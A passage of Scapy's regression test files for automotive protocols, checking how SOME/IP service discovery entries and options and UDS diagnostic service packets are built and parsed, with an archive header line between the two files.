TR_SOMEIP_00250 assert(SD.SOMEIP_MSGID_SRVID == 0xffff) assert(SD.SOMEIP_MSGID_SUBID == 0x1) assert(SD.SOMEIP_MSGID_EVENTID == 0x0100) assert(SD.SOMEIP_CLIENT_ID == 0x0000) assert(SD.SOMEIP_MINIMUM_SESSION_ID == 0x0001) assert(SD.SOMEIP_PROTO_VER == 0x01) assert(SD.SOMEIP_IFACE_VER == 0x01) assert(SD.SOMEIP_MSG_TYPE == 0x02) assert(SD.SOMEIP_RETCODE == 0x00) = check that values are bound assert(p[SOMEIP].srv_id == SD.SOMEIP_MSGID_SRVID) assert(p[SOMEIP].sub_id == SD.SOMEIP_MSGID_SUBID) assert(p[SOMEIP].event_id == SD.SOMEIP_MSGID_EVENTID) assert(p[SOMEIP].client_id == SD.SOMEIP_CLIENT_ID) assert(p[SOMEIP].session_id != 0x0000) assert(p[SOMEIP].session_id >= SD.SOMEIP_MINIMUM_SESSION_ID) assert(p[SOMEIP].proto_ver == SD.SOMEIP_PROTO_VER) assert(p[SOMEIP].iface_ver == SD.SOMEIP_IFACE_VER) assert(p[SOMEIP].msg_type == SD.SOMEIP_MSG_TYPE) assert(p[SOMEIP].retcode == SD.SOMEIP_RETCODE) # FIXME: Service Discovery messages shell be transported over UDP # (TR_SOMEIP_00248) # FIXME: The port 30490 (UDP and TCP as well) shall be only used for SOME/IP-SD # and not used for applications communicating over SOME/IP (TR_SOMEIP_00020) + SD = Check length of package without entries nor options p = SD() assert(len(bytes(p)) == 12) = Check entries to array and size check p.set_entryArray([SDEntry_Service(), SDEntry_EventGroup()]) assert(struct.unpack("!L", bytes(p)[4:8])[0] == 32) p.set_entryArray([]) assert(struct.unpack("!L", bytes(p)[4:8])[0] == 0) = Check Options to array and size check p.set_optionArray([SDOption_IP4_EndPoint(), SDOption_IP4_EndPoint()]) assert(struct.unpack("!L", bytes(p)[8:12])[0] == 24) p.set_optionArray([]) assert(struct.unpack("!L", bytes(p)[8:12])[0] == 0) = Check Entries & Options to array and size check p.set_entryArray([SDEntry_Service(), SDEntry_EventGroup()]) p.set_optionArray([SDOption_IP4_EndPoint(), SDOption_IP4_EndPoint()]) assert(struct.unpack("!L", bytes(p)[4:8])[0] == 32) assert(struct.unpack("!L", bytes(p)[40:44])[0] == 24) + Git issue 2348: SOME/IP-SD Entry-Array is broken by building it from RAW = Single SD entry # offer service ea1 = SDEntry_Service() ea1.type = 1 ea1.srv_id = 0x1234 ea1.inst_id = 0x5678 ea1.ttl = 0x333333 # subscribe eventgroup ea2 = SDEntry_EventGroup() ea2.type = 0x6 ea2.srv_id = 0x8765 ea2.inst_id = 0x4321 ea2.ttl = 0x222222 ea2.eventgroup_id = 0x1357 sd1 = SD() sd1.set_entryArray([ea1]) # this is computed on build, but we need it sooner for the assert() sd1.len_entry_array = 16 sd1.len_option_array = 0 assert(sd1.show(dump=True) == SD(sd1.build()).show(dump=True)) = Double SD entry sd2 = SD() sd2.set_entryArray([ea2,ea1]) # this is computed on build, but we need it sooner for the assert() sd2.len_entry_array = 32 sd2.len_option_array = 0 assert(sd2.show(dump=True) == SD(sd2.build()).show(dump=True)) = Flipped double SD entry # flip the order sd2.set_entryArray([ea1,ea2]) assert(sd2.show(dump=True) == SD(sd2.build()).show(dump=True)) + SD Options (individual) = Verifying constants against spec assert(SDOPTION_CFG_TYPE == 0x01) assert(SDOPTION_LOADBALANCE_TYPE == 0x02) assert(SDOPTION_LOADBALANCE_LEN == 0x05) assert(SDOPTION_IP4_ENDPOINT_TYPE == 0x04) assert(SDOPTION_IP4_ENDPOINT_LEN == 0x0009) assert(SDOPTION_IP4_MCAST_TYPE == 0x14) assert(SDOPTION_IP4_MCAST_LEN == 0x0009) assert(SDOPTION_IP4_SDENDPOINT_TYPE == 0x24) assert(SDOPTION_IP4_SDENDPOINT_LEN == 0x0009) assert(SDOPTION_IP6_ENDPOINT_TYPE == 0x06) assert(SDOPTION_IP6_ENDPOINT_LEN == 0x0015) assert(SDOPTION_IP6_MCAST_TYPE == 0x16) assert(SDOPTION_IP6_MCAST_LEN == 0x0015) assert(SDOPTION_IP6_SDENDPOINT_TYPE == 0x26) assert(SDOPTION_IP6_SDENDPOINT_LEN == 0x0015) ### SDOption_Config = SDOption_Config: Verify make_string() method from dict data = { "hello": "world" } out = SDOption_Config.make_string(data) assert(out == b"\x0bhello=world\x00") = SDOption_Config: Verify make_string() method from list data = [ ("x", "y"), ("abc", "def"), ("123", "456") ] out = SDOption_Config.make_string(data) assert(out == b"\x03x=y\x07abc=def\x07123=456\x00") = SDOption_Config: Build and dissect empty opt = SDOption_Config() optraw = opt.build() assert(optraw == b"\x00\x02\x01\x00\x00") opt = SDOption_Config(optraw) assert(opt.len == 0x2) assert(opt.type == SDOPTION_CFG_TYPE) assert(opt.res_hdr == 0x0) assert(opt.cfg_str == b"\x00") = SDOption_Config: Build and dissect spec example tststr = b"\x05abc=x\x07def=123\x00" opt = SDOption_Config(cfg_str=tststr) optraw = opt.build() assert(optraw == b"\x00\x10\x01\x00" + tststr) opt = SDOption_Config(optraw) assert(opt.len == 0x10) assert(opt.type == SDOPTION_CFG_TYPE) assert(opt.res_hdr == 0x00) assert(opt.cfg_str == tststr) = SDOption_Config: Build and dissect fully populated tststr = b"abcdefghijklmnopqrstuvwxyz" opt = SDOption_Config(len=0x1234, type=0x56, res_hdr=0x78, cfg_str=tststr) optraw = opt.build() assert(optraw == b"\x12\x34\x56\x78" + tststr) opt = SDOption_Config(optraw) assert(opt.len == 0x1234) assert(opt.type == 0x56) assert(opt.res_hdr == 0x78) assert(opt.cfg_str == tststr) ### SDOption_LoadBalance = SDOption_LoadBalance: Build and dissect empty opt = SDOption_LoadBalance() optraw = opt.build() assert(optraw == b"\x00\x05\x02\x00\x00\x00\x00\x00") opt = SDOption_LoadBalance(optraw) assert(opt.len == SDOPTION_LOADBALANCE_LEN) assert(opt.type == SDOPTION_LOADBALANCE_TYPE) assert(opt.res_hdr == 0x0) assert(opt.priority == 0x0) assert(opt.weight == 0x0) = SDOption_LoadBalance: Build and dissect example opt = SDOption_LoadBalance(priority=0x1234, weight=0x5678) optraw = opt.build() assert(optraw == b"\x00\x05\x02\x00\x12\x34\x56\x78") opt = SDOption_LoadBalance(optraw) assert(opt.len == SDOPTION_LOADBALANCE_LEN) assert(opt.type == SDOPTION_LOADBALANCE_TYPE) assert(opt.res_hdr == 0x00) assert(opt.priority == 0x1234) assert(opt.weight == 0x5678) = SDOption_LoadBalance: Build and dissect fully populated opt = SDOption_LoadBalance(len=0x1234, type=0x56, res_hdr=0x78, priority=0x9abc, weight=0xdef0) optraw = opt.build() assert(optraw == b"\x12\x34\x56\x78\x9a\xbc\xde\xf0") opt = SDOption_LoadBalance(optraw) assert(opt.len == 0x1234) assert(opt.type == 0x56) assert(opt.res_hdr == 0x78) assert(opt.priority == 0x9abc) assert(opt.weight == 0xdef0) ### SDOption_IP4_EndPoint = SDOption_IP4_EndPoint: Build and dissect empty opt = SDOption_IP4_EndPoint() optraw = opt.build() assert(optraw == b"\x00\x09\x04\x00\x00\x00\x00\x00\x00\x11\x00\x00") opt = SDOption_IP4_EndPoint(optraw) assert(opt.len == SDOPTION_IP4_ENDPOINT_LEN) assert(opt.type == SDOPTION_IP4_ENDPOINT_TYPE) assert(opt.res_hdr == 0x0) assert(opt.addr == "0.0.0.0") assert(opt.res_tail == 0x0) assert(opt.l4_proto == 0x11) assert(opt.port == 0x0) = SDOption_IP4_EndPoint: Build and dissect example opt = SDOption_IP4_EndPoint(addr = "192.168.123.45", l4_proto = "TCP", port = 0x1234) optraw = opt.build() assert(optraw == b"\x00\x09\x04\x00\xc0\xa8\x7b\x2d\x00\x06\x12\x34") opt = SDOption_IP4_EndPoint(optraw) assert(opt.len == SDOPTION_IP4_ENDPOINT_LEN) assert(opt.type == SDOPTION_IP4_ENDPOINT_TYPE) assert(opt.res_hdr == 0x00) assert(opt.addr == "192.168.123.45") assert(opt.res_tail == 0x0) assert(opt.l4_proto == 0x06) assert(opt.port == 0x1234) = SDOption_IP4_EndPoint: Build and dissect fully populated opt = SDOption_IP4_EndPoint(len=0x1234, type=0x56, res_hdr=0x78, addr = "11.22.33.44", res_tail = 0x9a, l4_proto = 0xbc, port = 0xdef0) optraw = opt.build() assert(optraw == b"\x12\x34\x56\x78\x0b\x16\x21\x2c\x9a\xbc\xde\xf0") opt = SDOption_IP4_EndPoint(optraw) assert(opt.len == 0x1234) assert(opt.type == 0x56) assert(opt.res_hdr == 0x78) assert(opt.addr == "11.22.33.44") assert(opt.res_tail == 0x9a) assert(opt.l4_proto == 0xbc) assert(opt.port == 0xdef0) ### SDOption_IP4_Multicast = SDOption_IP4_Multicast: Build and dissect empty opt = SDOption_IP4_Multicast() optraw = opt.build() assert(optraw == b"\x00\x09\x14\x00\x00\x00\x00\x00\x00\x11\x00\x00") opt = SDOption_IP4_Multicast(optraw) assert(opt.len == SDOPTION_IP4_MCAST_LEN) assert(opt.type == SDOPTION_IP4_MCAST_TYPE) assert(opt.res_hdr == 0x0) assert(opt.addr == "0.0.0.0") assert(opt.res_tail == 0x0) assert(opt.l4_proto == 0x11) assert(opt.port == 0x0) = SDOption_IP4_Multicast: Build and dissect example opt = SDOption_IP4_Multicast(addr = "192.168.123.45", l4_proto = "TCP", port = 0x1234) optraw = opt.build() assert(optraw == b"\x00\x09\x14\x00\xc0\xa8\x7b\x2d\x00\x06\x12\x34") opt = SDOption_IP4_Multicast(optraw) assert(opt.len == SDOPTION_IP4_MCAST_LEN) assert(opt.type == SDOPTION_IP4_MCAST_TYPE) assert(opt.res_hdr == 0x00) assert(opt.addr == "192.168.123.45") assert(opt.res_tail == 0x0) assert(opt.l4_proto == 0x06) assert(opt.port == 0x1234) = SDOption_IP4_Multicast: Build and dissect fully populated opt = SDOption_IP4_Multicast(len=0x1234, type=0x56, res_hdr=0x78, addr = "11.22.33.44", res_tail = 0x9a, l4_proto = 0xbc, port = 0xdef0) optraw = opt.build() assert(optraw == b"\x12\x34\x56\x78\x0b\x16\x21\x2c\x9a\xbc\xde\xf0") opt = SDOption_IP4_Multicast(optraw) assert(opt.len == 0x1234) assert(opt.type == 0x56) assert(opt.res_hdr == 0x78) assert(opt.addr == "11.22.33.44") assert(opt.res_tail == 0x9a) assert(opt.l4_proto == 0xbc) assert(opt.port == 0xdef0) ### SDOption_IP4_SD_EndPoint = SDOption_IP4_SD_EndPoint: Build and dissect empty opt = SDOption_IP4_SD_EndPoint() optraw = opt.build() assert(optraw == b"\x00\x09\x24\x00\x00\x00\x00\x00\x00\x11\x00\x00") opt = SDOption_IP4_SD_EndPoint(optraw) assert(opt.len == SDOPTION_IP4_SDENDPOINT_LEN) assert(opt.type == SDOPTION_IP4_SDENDPOINT_TYPE) assert(opt.res_hdr == 0x0) assert(opt.addr == "0.0.0.0") assert(opt.res_tail == 0x0) assert(opt.l4_proto == 0x11) assert(opt.port == 0x0) = SDOption_IP4_SD_EndPoint: Build and dissect example opt = SDOption_IP4_SD_EndPoint(addr = "192.168.123.45", l4_proto = "TCP", port = 0x1234) optraw = opt.build() assert(optraw == b"\x00\x09\x24\x00\xc0\xa8\x7b\x2d\x00\x06\x12\x34") opt = SDOption_IP4_SD_EndPoint(optraw) assert(opt.len == SDOPTION_IP4_SDENDPOINT_LEN) assert(opt.type == SDOPTION_IP4_SDENDPOINT_TYPE) assert(opt.res_hdr == 0x00) assert(opt.addr == "192.168.123.45") assert(opt.res_tail == 0x0) assert(opt.l4_proto == 0x06) assert(opt.port == 0x1234) = SDOption_IP4_SD_EndPoint: Build and dissect fully populated opt = SDOption_IP4_SD_EndPoint(len=0x1234, type=0x56, res_hdr=0x78, addr = "11.22.33.44", res_tail = 0x9a, l4_proto = 0xbc, port = 0xdef0) optraw = opt.build() assert(optraw == b"\x12\x34\x56\x78\x0b\x16\x21\x2c\x9a\xbc\xde\xf0") opt = SDOption_IP4_SD_EndPoint(optraw) assert(opt.len == 0x1234) assert(opt.type == 0x56) assert(opt.res_hdr == 0x78) assert(opt.addr == "11.22.33.44") assert(opt.res_tail == 0x9a) assert(opt.l4_proto == 0xbc) assert(opt.port == 0xdef0) ### SDOption_IP6_EndPoint = SDOption_IP6_EndPoint: Build and dissect empty opt = SDOption_IP6_EndPoint() optraw = opt.build() assert(optraw == b"\x00\x15\x06\x00" + b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + b"\x00\x11\x00\x00") opt = SDOption_IP6_EndPoint(optraw) assert(opt.len == SDOPTION_IP6_ENDPOINT_LEN) assert(opt.type == SDOPTION_IP6_ENDPOINT_TYPE) assert(opt.res_hdr == 0x0) assert(opt.addr == "::") assert(opt.res_tail == 0x0) assert(opt.l4_proto == 0x11) assert(opt.port == 0x0) = SDOption_IP6_EndPoint: Build and dissect example opt = SDOption_IP6_EndPoint(addr = "2001:cdba::3257:9652", l4_proto = "TCP", port = 0x1234) optraw = opt.build() assert(optraw == b"\x00\x15\x06\x00" + b"\x20\x01\xcd\xba\x00\x00\x00\x00\x00\x00\x00\x00\x32\x57\x96\x52" + b"\x00\x06\x12\x34") opt = SDOption_IP6_EndPoint(optraw) assert(opt.len == SDOPTION_IP6_ENDPOINT_LEN) assert(opt.type == SDOPTION_IP6_ENDPOINT_TYPE) assert(opt.res_hdr == 0x00) assert(opt.addr == "2001:cdba::3257:9652") assert(opt.res_tail == 0x0) assert(opt.l4_proto == 0x06) assert(opt.port == 0x1234) = SDOption_IP6_EndPoint: Build and dissect fully populated opt = SDOption_IP6_EndPoint(len=0x1234, type=0x56, res_hdr=0x78, addr = "1234:5678:9abc:def0:0fed:cba9:8765:4321", res_tail = 0x9a, l4_proto = 0xbc, port = 0xdef0) optraw = opt.build() assert(optraw == b"\x12\x34\x56\x78" + b"\x12\x34\x56\x78\x9a\xbc\xde\xf0\x0f\xed\xcb\xa9\x87\x65\x43\x21" + b"\x9a\xbc\xde\xf0") opt = SDOption_IP6_EndPoint(optraw) assert(opt.len == 0x1234) assert(opt.type == 0x56) assert(opt.res_hdr == 0x78) assert(opt.addr == "1234:5678:9abc:def0:fed:cba9:8765:4321") assert(opt.res_tail == 0x9a) assert(opt.l4_proto == 0xbc) assert(opt.port == 0xdef0) ### SDOption_IP6_Multicast = SDOption_IP6_Multicast: Build and dissect empty opt = SDOption_IP6_Multicast() optraw = opt.build() assert(optraw == b"\x00\x15\x16\x00" + b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + b"\x00\x11\x00\x00") opt = SDOption_IP6_Multicast(optraw) assert(opt.len == SDOPTION_IP6_MCAST_LEN) assert(opt.type == SDOPTION_IP6_MCAST_TYPE) assert(opt.res_hdr == 0x0) assert(opt.addr == "::") assert(opt.res_tail == 0x0) assert(opt.l4_proto == 0x11) assert(opt.port == 0x0) = SDOption_IP6_Multicast: Build and dissect example opt = SDOption_IP6_Multicast(addr = "2001:cdba::3257:9652", l4_proto = "TCP", port = 0x1234) optraw = opt.build() assert(optraw == b"\x00\x15\x16\x00" + b"\x20\x01\xcd\xba\x00\x00\x00\x00\x00\x00\x00\x00\x32\x57\x96\x52" + b"\x00\x06\x12\x34") opt = SDOption_IP6_Multicast(optraw) assert(opt.len == SDOPTION_IP6_MCAST_LEN) assert(opt.type == SDOPTION_IP6_MCAST_TYPE) assert(opt.res_hdr == 0x00) assert(opt.addr == "2001:cdba::3257:9652") assert(opt.res_tail == 0x0) assert(opt.l4_proto == 0x06) assert(opt.port == 0x1234) = SDOption_IP6_Multicast: Build and dissect fully populated opt = SDOption_IP6_Multicast(len=0x1234, type=0x56, res_hdr=0x78, addr = "1234:5678:9abc:def0:0fed:cba9:8765:4321", res_tail = 0x9a, l4_proto = 0xbc, port = 0xdef0) optraw = opt.build() assert(optraw == b"\x12\x34\x56\x78" + b"\x12\x34\x56\x78\x9a\xbc\xde\xf0\x0f\xed\xcb\xa9\x87\x65\x43\x21" + b"\x9a\xbc\xde\xf0") opt = SDOption_IP6_Multicast(optraw) assert(opt.len == 0x1234) assert(opt.type == 0x56) assert(opt.res_hdr == 0x78) assert(opt.addr == "1234:5678:9abc:def0:fed:cba9:8765:4321") assert(opt.res_tail == 0x9a) assert(opt.l4_proto == 0xbc) assert(opt.port == 0xdef0) ### SDOption_IP6_SD_EndPoint = SDOption_IP6_SD_EndPoint: Build and dissect empty opt = SDOption_IP6_SD_EndPoint() optraw = opt.build() assert(optraw == b"\x00\x15\x26\x00" + b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + b"\x00\x11\x00\x00") opt = SDOption_IP6_SD_EndPoint(optraw) assert(opt.len == SDOPTION_IP6_SDENDPOINT_LEN) assert(opt.type == SDOPTION_IP6_SDENDPOINT_TYPE) assert(opt.res_hdr == 0x0) assert(opt.addr == "::") assert(opt.res_tail == 0x0) assert(opt.l4_proto == 0x11) assert(opt.port == 0x0) = SDOption_IP6_SD_EndPoint: Build and dissect example opt = SDOption_IP6_SD_EndPoint(addr = "2001:cdba::3257:9652", l4_proto = "TCP", port = 0x1234) optraw = opt.build() assert(optraw == b"\x00\x15\x26\x00" + b"\x20\x01\xcd\xba\x00\x00\x00\x00\x00\x00\x00\x00\x32\x57\x96\x52" + b"\x00\x06\x12\x34") opt = SDOption_IP6_SD_EndPoint(optraw) assert(opt.len == SDOPTION_IP6_SDENDPOINT_LEN) assert(opt.type == SDOPTION_IP6_SDENDPOINT_TYPE) assert(opt.res_hdr == 0x00) assert(opt.addr == "2001:cdba::3257:9652") assert(opt.res_tail == 0x0) assert(opt.l4_proto == 0x06) assert(opt.port == 0x1234) = SDOption_IP6_SD_EndPoint: Build and dissect fully populated opt = SDOption_IP6_SD_EndPoint(len=0x1234, type=0x56, res_hdr=0x78, addr = "1234:5678:9abc:def0:0fed:cba9:8765:4321", res_tail = 0x9a, l4_proto = 0xbc, port = 0xdef0) optraw = opt.build() assert(optraw == b"\x12\x34\x56\x78" + b"\x12\x34\x56\x78\x9a\xbc\xde\xf0\x0f\xed\xcb\xa9\x87\x65\x43\x21" + b"\x9a\xbc\xde\xf0") opt = SDOption_IP6_SD_EndPoint(optraw) assert(opt.len == 0x1234) assert(opt.type == 0x56) assert(opt.res_hdr == 0x78) assert(opt.addr == "1234:5678:9abc:def0:fed:cba9:8765:4321") assert(opt.res_tail == 0x9a) assert(opt.l4_proto == 0xbc) assert(opt.port == 0xdef0) = verify building and parsing of multiple SDOptions def _opts_check(opts): optslen = sum([len(o) for o in opts]) sd = SD() sd.set_optionArray(opts) sd.len_entry_array = 0 sd.len_option_array = optslen sd.show() SD(sd.build()).show() assert(sd.show(dump=True) == SD(sd.build()).show(dump=True)) # options are built and reparsed, to make sure all is calculated opts = [ SDOption_Config(SDOption_Config(cfg_str="hello world").build()), SDOption_LoadBalance(SDOption_LoadBalance().build()), SDOption_IP4_EndPoint(SDOption_IP4_EndPoint().build()), SDOption_IP4_Multicast(SDOption_IP4_Multicast().build()), SDOption_IP4_SD_EndPoint(SDOption_IP4_SD_EndPoint().build()), SDOption_IP6_EndPoint(SDOption_IP6_EndPoint().build()), SDOption_IP6_Multicast(SDOption_IP6_Multicast().build()), SDOption_IP6_SD_EndPoint(SDOption_IP6_SD_EndPoint().build()), ] _opts_check(opts[0:0]) _opts_check(opts[0:2]) _opts_check(opts) _opts_check(opts[::-1]) _opts_check(opts + opts[::-1]) scapy-2.4.4/test/contrib/automotive/uds.uts000066400000000000000000000520121372370053500210100ustar00rootroot00000000000000% Regression tests for the UDS layer # More information at http://www.secdev.org/projects/UTscapy/ ############ ############ + Basic operations = Load module load_contrib("automotive.uds", globals_dict=globals()) load_contrib("automotive.ecu", globals_dict=globals()) = Check if positive response answers dsc = UDS(b'\x10') dscpr = UDS(b'\x50') assert dscpr.answers(dsc) = Check hashret dsc.hashret() == dscpr.hashret() = Check if negative response answers dsc = UDS(b'\x10') neg = UDS(b'\x7f\x10') assert neg.answers(dsc) = CHECK hashret NEG dsc.hashret() == neg.hashret() = Check if negative response answers not dsc = UDS(b'\x10') neg = UDS(b'\x7f\x11') assert not neg.answers(dsc) = Check if positive response answers not dsc = UDS(b'\x10') somePacket = UDS(b'\x49') assert not somePacket.answers(dsc) = Check UDS_DSC dsc = UDS(b'\x10\x01') assert dsc.service == 0x10 assert dsc.diagnosticSessionType == 0x01 = Check UDS_DSC dsc = UDS()/UDS_DSC(b'\x01') assert dsc.service == 0x10 assert dsc.diagnosticSessionType == 0x01 = Check UDS_DSCPR dscpr = UDS(b'\x50\x02beef') assert dscpr.service == 0x50 assert dscpr.diagnosticSessionType == 0x02 assert not dscpr.answers(dsc) = Check UDS_DSCPR dscpr = UDS()/UDS_DSCPR(b'\x01beef') assert dscpr.service == 0x50 assert dscpr.diagnosticSessionType == 0x01 assert dscpr.sessionParameterRecord == b"beef" assert dscpr.answers(dsc) = Check UDS_DSC dsc = UDS()/UDS_DSC(b'\x01') assert dsc.service == 0x10 assert dsc.diagnosticSessionType == 0x01 = Check UDS_DSCPR dscpr = UDS()/UDS_DSCPR(b'\x01beef') assert dscpr.service == 0x50 assert dscpr.diagnosticSessionType == 0x01 assert dscpr.sessionParameterRecord == b"beef" assert dscpr.answers(dsc) = Check UDS_DSC modifies ecu state dsc = UDS()/UDS_DSC(b'\x09') assert dsc.service == 0x10 assert dsc.diagnosticSessionType == 0x09 = Check UDS_DSCPR modifies ecu state dscpr = UDS()/UDS_DSCPR(b'\x09beef') assert dscpr.service == 0x50 assert dscpr.diagnosticSessionType == 0x09 assert dscpr.sessionParameterRecord == b"beef" ecu = ECU() ecu.update(dscpr) assert ecu.current_session == 9 = Check UDS_ER er = UDS(b'\x11\x01') assert er.service == 0x11 assert er.resetType == 0x01 = Check UDS_ER er = UDS()/UDS_ER(resetType="hardReset") assert er.service == 0x11 assert er.resetType == 0x01 = Check UDS_ERPR erpr = UDS(b'\x51\x01') assert erpr.service == 0x51 assert erpr.resetType == 0x01 assert erpr.answers(er) = Check UDS_ERPR erpr = UDS(b'\x51\x04\x10') assert erpr.service == 0x51 assert erpr.resetType == 0x04 assert erpr.powerDownTime == 0x10 = Check UDS_ERPR modifies ecu state erpr = UDS(b'\x51\x04\x10') assert erpr.service == 0x51 assert erpr.resetType == 0x04 assert erpr.powerDownTime == 0x10 ecu = ECU() ecu.current_security_level = 5 ecu.current_session = 3 ecu.communication_control = 4 ecu.update(erpr) assert ecu.current_session == 1 assert ecu.current_security_level == 0 assert ecu.communication_control == 0 = Check UDS_SA sa = UDS(b'\x27\x00c0ffee') assert sa.service == 0x27 assert sa.securityAccessType == 0x0 assert sa.securityKey == b'c0ffee' = Check UDS_SAPR sapr = UDS(b'\x67\x00') assert sapr.service == 0x67 assert sapr.securityAccessType == 0x0 assert sapr.answers(sa) = Check UDS_SA sa = UDS(b'\x27\x01c0ffee') assert sa.service == 0x27 assert sa.securityAccessType == 0x1 assert sa.securityAccessDataRecord == b'c0ffee' = Check UDS_SAPR sapr = UDS(b'\x67\x01c0ffee') assert sapr.service == 0x67 assert sapr.securityAccessType == 0x1 assert sapr.securitySeed == b'c0ffee' assert sapr.answers(sa) = Check UDS_SA sa = UDS(b'\x27\x00c0ffee') assert sa.service == 0x27 assert sa.securityAccessType == 0x0 assert sa.securityKey == b'c0ffee' = Check UDS_SAPR modifies ecu state sapr = UDS(b'\x67\x06') assert sapr.service == 0x67 assert sapr.securityAccessType == 0x6 ecu = ECU() ecu.update(sapr) assert ecu.current_security_level == 6 = Check UDS_SA sa = UDS(b'\x27\x01c0ffee') assert sa.service == 0x27 assert sa.securityAccessType == 0x1 assert sa.securityAccessDataRecord == b'c0ffee' = Check UDS_SAPR sapr = UDS(b'\x67\x01c0ffee') assert sapr.service == 0x67 assert sapr.securityAccessType == 0x1 assert sapr.securitySeed == b'c0ffee' = Check UDS_CC cc = UDS(b'\x28\x01\xff') assert cc.service == 0x28 assert cc.controlType == 0x1 assert cc.communicationType0 == 0x3 assert cc.communicationType1 == 0x3 assert cc.communicationType2 == 0xf = Check UDS_CCPR ccpr = UDS(b'\x68\x01') assert ccpr.service == 0x68 assert ccpr.controlType == 0x1 assert ccpr.answers(cc) = Check UDS_CCPR modifies ecu state ccpr = UDS(b'\x68\x01') assert ccpr.service == 0x68 assert ccpr.controlType == 0x1 ecu = ECU() ecu.update(ccpr) assert ecu.communication_control == 1 = Check UDS_TP tp = UDS(b'\x3E\x01') assert tp.service == 0x3e assert tp.subFunction == 0x1 = Check UDS_TPPR tppr = UDS(b'\x7E\x01') assert tppr.service == 0x7e assert tppr.zeroSubFunction == 0x1 assert tppr.answers(tp) = Check UDS_ATP atp = UDS(b'\x83\x01') assert atp.service == 0x83 assert atp.timingParameterAccessType == 0x1 = Check UDS_ATPPR atppr = UDS(b'\xc3\x01') assert atppr.service == 0xc3 assert atppr.timingParameterAccessType == 0x1 assert atppr.answers(atp) = Check UDS_ATP atp = UDS(b'\x83\x04coffee') assert atp.service == 0x83 assert atp.timingParameterAccessType == 0x4 assert atp.timingParameterRequestRecord == b'coffee' = Check UDS_ATPPR atppr = UDS(b'\xc3\x03coffee') assert atppr.service == 0xc3 assert atppr.timingParameterAccessType == 0x3 assert atppr.timingParameterResponseRecord == b'coffee' = Check UDS_SDT sdt = UDS(b'\x84coffee') assert sdt.service == 0x84 assert sdt.securityDataRequestRecord == b'coffee' = Check UDS_SDTPR sdtpr = UDS(b'\xC4coffee') assert sdtpr.service == 0xC4 assert sdtpr.securityDataResponseRecord == b'coffee' assert sdtpr.answers(sdt) = Check UDS_CDTCS cdtcs = UDS(b'\x85\x00coffee') assert cdtcs.service == 0x85 assert cdtcs.DTCSettingType == 0 assert cdtcs.DTCSettingControlOptionRecord == b'coffee' = Check UDS_CDTCSPR cdtcspr = UDS(b'\xC5\x00') assert cdtcspr.service == 0xC5 assert cdtcspr.DTCSettingType == 0 assert cdtcspr.answers(cdtcs) = Check UDS_ROE roe = UDS(b'\x86\x00\x10coffee') assert roe.service == 0x86 assert roe.eventType == 0 assert roe.eventWindowTime == 16 assert roe.eventTypeRecord == b'coffee' = Check UDS_ROEPR roepr = UDS(b'\xC6\x00\x01\x10coffee') assert roepr.service == 0xC6 assert roepr.eventType == 0 assert roepr.numberOfIdentifiedEvents == 1 assert roepr.eventWindowTime == 16 assert roepr.eventTypeRecord == b'coffee' assert roepr.answers(roe) = Check UDS_LC lc = UDS(b'\x87\x01\x02') assert lc.service == 0x87 assert lc.linkControlType == 0x01 assert lc.baudrateIdentifier == 0x02 = Check UDS_LCPR lcpr = UDS(b'\xC7\x01') assert lcpr.service == 0xC7 assert lcpr.linkControlType == 0x01 assert lcpr.answers(lc) = Check UDS_LC lc = UDS(b'\x87\x02\x02\x03\x04') assert lc.service == 0x87 assert lc.linkControlType == 0x02 assert lc.baudrateHighByte == 0x02 assert lc.baudrateMiddleByte == 0x03 assert lc.baudrateLowByte == 0x04 = Check UDS_RDBI rdbi = UDS(b'\x22\x01\x02') assert rdbi.service == 0x22 assert rdbi.identifiers[0] == 0x0102 = Build UDS_RDBI rdbi = UDS()/UDS_RDBI(identifiers=[0x102]) assert rdbi.service == 0x22 assert rdbi.identifiers[0] == 0x0102 assert bytes(rdbi) == b'\x22\x01\x02' = Check UDS_RDBI2 rdbi = UDS(b'\x22\x01\x02\x03\x04') assert rdbi.service == 0x22 assert rdbi.identifiers[0] == 0x0102 assert rdbi.identifiers[1] == 0x0304 assert raw(rdbi) == b'\x22\x01\x02\x03\x04' = Build UDS_RDBI2 rdbi = UDS()/UDS_RDBI(identifiers=[0x102, 0x304]) assert rdbi.service == 0x22 assert rdbi.identifiers[0] == 0x0102 assert rdbi.identifiers[1] == 0x0304 assert raw(rdbi) == b'\x22\x01\x02\x03\x04' = Check UDS_RDBIPR rdbipr = UDS(b'\x62\x01\x02dieselgate') assert rdbipr.service == 0x62 assert rdbipr.dataIdentifier == 0x0102 assert rdbipr.load == b'dieselgate' assert rdbipr.answers(rdbi) = Check UDS_RMBA rmba = UDS(b'\x23\x11\x02\x02') assert rmba.service == 0x23 assert rmba.memorySizeLen == 1 assert rmba.memoryAddressLen == 1 assert rmba.memoryAddress1 == 2 assert rmba.memorySize1 == 2 = Check UDS_RMBA rmba = UDS(b'\x23\x22\x02\x02\x03\x03') assert rmba.service == 0x23 assert rmba.memorySizeLen == 2 assert rmba.memoryAddressLen == 2 assert rmba.memoryAddress2 == 0x202 assert rmba.memorySize2 == 0x303 = Check UDS_RMBA rmba = UDS(b'\x23\x33\x02\x02\x02\x03\x03\x03') assert rmba.service == 0x23 assert rmba.memorySizeLen == 3 assert rmba.memoryAddressLen == 3 assert rmba.memoryAddress3 == 0x20202 assert rmba.memorySize3 == 0x30303 = Check UDS_RMBA rmba = UDS(b'\x23\x44\x02\x02\x02\x02\x03\x03\x03\x03') assert rmba.service == 0x23 assert rmba.memorySizeLen == 4 assert rmba.memoryAddressLen == 4 assert rmba.memoryAddress4 == 0x2020202 assert rmba.memorySize4 == 0x3030303 = Check UDS_RMBAPR rmbapr = UDS(b'\x63muchData') assert rmbapr.service == 0x63 assert rmbapr.dataRecord == b'muchData' assert rmbapr.answers(rmba) = Check UDS_RSDBI rsdbi = UDS(b'\x24\x12\x34') assert rsdbi.service == 0x24 assert rsdbi.dataIdentifier == 0x1234 = Check UDS_RSDBIPR rsdbipr = UDS(b'\x64\x12\x34\xffmuchData') assert rsdbipr.service == 0x64 assert rsdbipr.dataIdentifier == 0x1234 assert rsdbipr.scalingByte == 255 assert rsdbipr.dataRecord == b'muchData' assert rsdbipr.answers(rsdbi) = Check UDS_RSDBPI rsdbpi = UDS(b'\x2a\x12\x34coffee') assert rsdbpi.service == 